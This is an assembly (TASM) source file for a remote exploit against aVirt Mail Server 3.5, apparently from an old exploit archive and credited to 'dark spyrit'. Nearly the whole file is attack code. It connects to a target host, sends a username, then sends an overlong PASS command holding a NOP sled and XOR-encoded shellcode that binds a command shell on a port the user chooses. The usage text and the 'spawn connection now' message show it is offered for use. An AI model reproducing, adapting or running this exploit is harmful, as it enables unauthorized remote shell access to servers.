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Text File | 2005-02-12 | 13.0 KB | 478 lines

; The binary is available at http://www.beavuh.org. ; ; To assemble: ; ; tasm32 -ml avirtx.asm ; tlink32 -Tpe -c -x avirtx.obj ,,, import32 ; ; TASM 5 required! ; ; dark spyrit <dspyrit@beavuh.org> .386p locals jumps .model flat, stdcall extrn GetCommandLineA:PROC extrn GetStdHandle:PROC extrn WriteConsoleA:PROC extrn ExitProcess:PROC extrn WSAStartup:PROC extrn connect:PROC extrn send:PROC extrn recv:PROC extrn WSACleanup:PROC extrn gethostbyname:PROC extrn htons:PROC extrn socket:PROC extrn inet_addr:PROC extrn closesocket:PROC .data sploit_length equ 783 sploit: db "PASS " db 016h, 05bh, 05bh, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 08bh, 0feh, 033h, 0c0h, 050h, 0f7h, 0d0h db 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h, 08bh, 0c7h, 048h, 080h, 030h db 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh, 099h, 0b0h, 090h, 041h, 0c1h db 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 00bh db 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h db 0b3h, 08ch, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech, 032h, 0c0h, 0ach db 084h, 0c0h, 075h, 0f9h, 0b3h, 0b0h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch db 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h db 051h, 056h, 052h, 0b3h, 08ch, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech db 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h db 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh, 057h, 0ech, 06ah, 002h, 053h db 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h, 0b0h, 00ch, 0abh, 058h, 0abh db 040h, 0abh, 05fh, 048h, 050h, 057h, 056h, 0adh, 056h, 0ffh, 057h, 0c0h db 048h, 050h, 057h, 0adh, 056h, 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 0b0h db 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h, 033h, 0c0h, 08bh, 046h, 0f4h db 089h, 047h, 03ch, 089h, 047h, 040h, 08bh, 006h, 089h, 047h, 038h, 033h db 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h, 02ch, 057h, 057h, 033h, 0c0h db 050h, 050h, 050h, 040h, 050h, 048h, 050h, 050h, 0adh, 056h, 033h, 0c0h db 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h, 0ffh, 057h, 0cch, 0ffh, 076h db 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h, 053h, 0ffh, 057h, 0f4h, 08bh db 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h, 0e8h, 004h, 050h, 0ffh, 057h db 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h, 0b5h, 004h, 050h, 050h, 057h db 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0d0h, 083h, 03fh, 001h, 07ch db 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h, 056h, 0ffh, 077h, 0a8h, 0ffh db 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h, 0c0h, 050h, 0ffh, 037h, 056h db 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0c8h, 033h db 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h, 0ffh, 057h, 0fch, 057h, 033h db 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach, 0ffh, 057h, 0d8h, 06ah, 050h db 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh, 057h, 0e4h, 090h, 0d2h, 0dch db 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh db 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0fch, 0edh, 0cah, 0edh, 0f8h db 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh, 0f6h, 0d8h, 099h, 0dah, 0ebh db 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 0d8h db 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h, 0f8h, 0f7h, 0fdh, 0f5h, 0fch db 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h db 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h, 0f5h, 0f5h db 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh, 0fch, 0dfh, 0f0h, 0f5h, 0fch db 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h db 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h, 0edh, 0c9h, 0ebh, 0f6h, 0fah db 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h db 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h db 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h, 0fah, 0fah, 0fch, 0e9h db 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h, 0ebh, 0fch, 0fah, 0efh, 099h db 09bh, 099h store dw ? db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h db 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh, 0b7h, 0fch, 0e1h, 0fch, 099h db 0ffh, 0ffh, 0ffh, 0ffh, 090h, 090h, 090h, 090h, 090h, 05fh, 029h, 040h db 000h, 00dh, 00ah user db "user beavuh",0dh,0ah,0 userl equ $-user logo db "aVirt Mail Server 3.5 remote.", 13, 10 db "by dark spyrit <dspyrit@beavuh.org>",13,10 db "http://www.beavuh.org",13,10,13,10 db "usage: avirtx <host> <port> <port to bind shell>", 13, 10 db "eg - avirtx host.com 110 1234",13,10,0 logolen equ $-logo errorinit db 10,"error initializing winsock.", 13, 10, 0 errorinitl equ $-errorinit derror db 10,"error.",13,10,0 derrorl equ $-derror nohost db 10,"no host or ip specified.", 13,10,0 nohostl equ $-nohost noport db 10,"no port specified.",13,10,0 noportl equ $-noport no_port2 db 10,"no bind port specified.",13,10,0 no_port2l equ $-no_port2 response db 10,"waiting for response....",13,10,0 respl equ $-response reshost db 10,"error resolving host.",13,10,0 reshostl equ $-reshost sockerr db 10,"error creating socket.",13,10,0 sockerrl equ $-sockerr ipill db 10,"ip error.",13,10,0 ipilll equ $-ipill cnerror db 10,"error establishing connection.",13,10,0 cnerrorl equ $-cnerror success db 10,"sent.. spawn connection now.",13,10,0 successl equ $-success console_in dd ? console_out dd ? bytes_read dd ? wsadescription_len equ 256 wsasys_status_len equ 128 WSAdata struct wVersion dw ? wHighVersion dw ? szDescription db wsadescription_len+1 dup (?) szSystemStatus db wsasys_status_len+1 dup (?) iMaxSockets dw ? iMaxUdpDg dw ? lpVendorInfo dw ? WSAdata ends sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockaddr_in ends wsadata WSAdata <?> sin sockaddr_in <?> sock dd ? numbase dd 10 _port db 256 dup (?) _host db 256 dup (?) _port2 db 256 dup (?) buffer db 1000 dup (0) .code start: call init_console push logolen push offset logo call write_console call GetCommandLineA mov edi, eax mov ecx, -1 xor al, al push edi repnz scasb not ecx pop edi mov al, 20h repnz scasb dec ecx cmp ch, 0ffh jz @@0 test ecx, ecx jnz @@1 @@0: push nohostl push offset nohost call write_console jmp quit3 @@1: mov esi, edi lea edi, _host call parse or ecx, ecx jnz @@2 push noportl push offset noport call write_console jmp quit3 @@2: lea edi, _port call parse or ecx, ecx jnz @@3 push no_port2l push offset no_port2 call write_console jmp quit3 @@3: push ecx lea edi, _port2 call parse push offset wsadata push 0101h call WSAStartup or eax, eax jz winsock_found push errorinitl push offset errorinit call write_console jmp quit3 winsock_found: xor eax, eax push eax inc eax push eax inc eax push eax call socket cmp eax, -1 jnz socket_ok push sockerrl push offset sockerr call write_console jmp quit2 socket_ok: mov sock, eax mov sin.sin_family, 2 mov ebx, offset _port call str2num mov eax, edx push eax call htons mov sin.sin_port, ax mov ebx, offset _port2 call str2num mov eax, edx push eax call htons xor ax, 09999h mov store, ax mov esi, offset _host lewp: xor al, al lodsb cmp al, 039h ja gethost test al, al jnz lewp push offset _host call inet_addr cmp eax, -1 jnz ip_aight push ipilll push offset ipill call write_console jmp quit1 ip_aight: mov sin.sin_addr, eax jmp continue gethost: push offset _host call gethostbyname test eax, eax jnz gothost push reshostl push offset reshost call write_console jmp quit1 gothost: mov eax, [eax+0ch] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax continue: push size sin push offset sin push sock call connect or eax, eax jz connect_ok push cnerrorl push offset cnerror call write_console jmp quit1 connect_ok: push respl push offset response call write_console xor eax, eax push eax push 1000 push offset buffer push sock call recv or eax, eax jg sveet push derrorl push offset derror call write_console jmp quit1 sveet: push eax push offset buffer call write_console xor eax, eax push eax push userl push offset user push sock call send xor eax, eax push eax push 1000 push offset buffer push sock call recv or eax, eax jg sveet1 push derrorl push offset derror call write_console jmp quit1 sveet1: push eax push offset buffer call write_console xor eax, eax push eax push sploit_length push offset sploit push sock call send push successl push offset success call write_console quit1: push sock call closesocket quit2: call WSACleanup quit3: push 0 call ExitProcess parse proc ;cheap parsing.. lewp9: xor eax, eax cld lodsb cmp al, 20h jz done test al, al jz done2 stosb dec ecx jmp lewp9 done: dec ecx done2: ret endp str2num proc push eax ecx edi xor eax, eax xor ecx, ecx xor edx, edx xor edi, edi lewp2: xor al, al xlat test al, al jz end_it sub al, 030h mov cl, al mov eax, edx mul numbase add eax, ecx mov edx, eax inc ebx inc edi cmp edi, 0ah jnz lewp2 end_it: pop edi ecx eax ret endp init_console proc push -10 call GetStdHandle or eax, eax je init_error mov [console_in], eax push -11 call GetStdHandle or eax, eax je init_error mov [console_out], eax ret init_error: push 0 call ExitProcess endp write_console proc text_out:dword, text_len:dword pusha push 0 push offset bytes_read push text_len push text_out push console_out call WriteConsoleA popa ret endp end start